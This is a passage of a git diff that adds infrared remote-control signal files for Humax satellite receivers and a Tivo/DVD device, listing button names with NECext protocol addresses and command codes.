49 00 00 +command: 1A 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 1B 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 1C 00 00 00 +# +name: N +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 1D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 1E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 1F 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 40 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 41 00 00 00 +# +name: OPT+ +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 42 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 43 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 46 00 00 00 +# +name: PAGE+ +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 49 00 00 00 +# +name: PAGE- +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 4A 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 4D 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 4E 00 00 00 +# +name: V-FORMAT +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Satellite/0,17.ir b/assets/resources/infrared/_CSV-IRDB_/Humax/Satellite/0,17.ir new file mode 100644 index 000000000..b963583ad --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Humax/Satellite/0,17.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 11 00 00 +command: 00 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 11 00 00 +command: 18 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 00 11 00 00 +command: 1C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Satellite/0,23.ir b/assets/resources/infrared/_CSV-IRDB_/Humax/Satellite/0,23.ir new file mode 100644 index 000000000..3c2ad2f00 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Humax/Satellite/0,23.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 03 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 04 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 05 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 06 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 07 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 08 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 09 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 0A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 0B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 0C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 0E 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 11 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 12 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 13 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 14 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 15 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 16 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 18 00 00 00 +# +name: GELB +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 1A 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 1B 00 00 00 +# +name: ROT +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 1C 00 00 00 +# +name: N +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 1D 00 00 00 +# +name: BLAU +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 1E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 1F 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 40 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 41 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 43 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 49 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 4A 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 4D 00 00 00 +# +name: ARCHIV +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 4F 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 60 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 61 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 63 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 64 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 65 00 00 00 +# +name: ANFANG +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 66 00 00 00 +# +name: ENDE +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 67 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 17 00 00 +command: 68 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Satellite/0,73.ir b/assets/resources/infrared/_CSV-IRDB_/Humax/Satellite/0,73.ir new file mode 100644 index 000000000..621a1ccfb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Humax/Satellite/0,73.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 00 00 00 00 +# +name: QUELLE +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 03 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 04 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 05 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 06 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 07 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 08 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 09 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 0A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 0B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 0C 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 0D 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 0E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 0F 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 10 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 11 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 12 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 13 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 14 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 15 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 18 00 00 00 +# +name: GELB +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 1A 00 00 00 +# +name: ROT +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 1C 00 00 00 +# +name: N +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 1D 00 00 00 +# +name: BLAU +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 1E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 1F 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 40 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 43 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 46 00 00 00 +# +name: TEXT_(SEITE_+) +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 49 00 00 00 +# +name: TEXT_(SEITE_-) +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 4A 00 00 00 +# +name: LISTE +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 4D 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 4E 00 00 00 +# +name: V-FORMAT +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir b/assets/resources/infrared/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir new file mode 100644 index 000000000..c5ce0642e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: TIVO_CENTRAL +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 09 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 12 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 13 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: NEXT_CHAPTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: PREVIOUS_CHAPTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: JUMP_TO_LIVE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 48 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 4A 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 4B 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 4C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir b/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir new file mode 100644 index 000000000..9a748e967 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 00 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 02 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 06 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0A 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0F 00 00 00 +# +name: uhf +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 11 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 12 00 00 00 +# +name: ?ok +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 13 00 00 00 +# +name: reserved +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 14 00 00 00 +# +name: ?down +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 15 00 00 00 +# +name: ?gray +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 17 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 18 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 19 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1C 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1D 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1F 00 00 00 +# +name: ?v- +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 40 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 41 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir b/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir new file mode 100644 index 000000000..7e49324d6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 00 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 00 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 03 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 04 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 05 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 06 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 07 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 08 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 08 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 09 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 10 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 11 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 12 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 13 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 14 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 15 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 16 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 17 00 00 00 +# +name: WHITE +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 19 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1A 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 40 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 41 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir b/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir new file mode 100644 index 000000000..bcfd8818d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 00 00 00 00 +# +name: tvsat +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 03 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 04 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 05 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 06 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 07 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 08 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0C 00 00 00 +# +name: tone +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 10 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 11 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 12 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 13 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 14 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 15 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 16 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 17 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 18 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 19 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1A 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 40 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 41 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir b/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir new file mode 100644 index 000000000..f411b953c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 00 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 03 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 04 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 05 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 06 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 07 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 08 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 0A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 0C 00 00 00 +# +name: tv/radio +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 0E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 11 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 12 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 13 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 14 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 15 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 16 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 18 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 1A 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 1B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 1C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 1D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 40 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 41 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 02 17 00 00 +command: 43 00 00 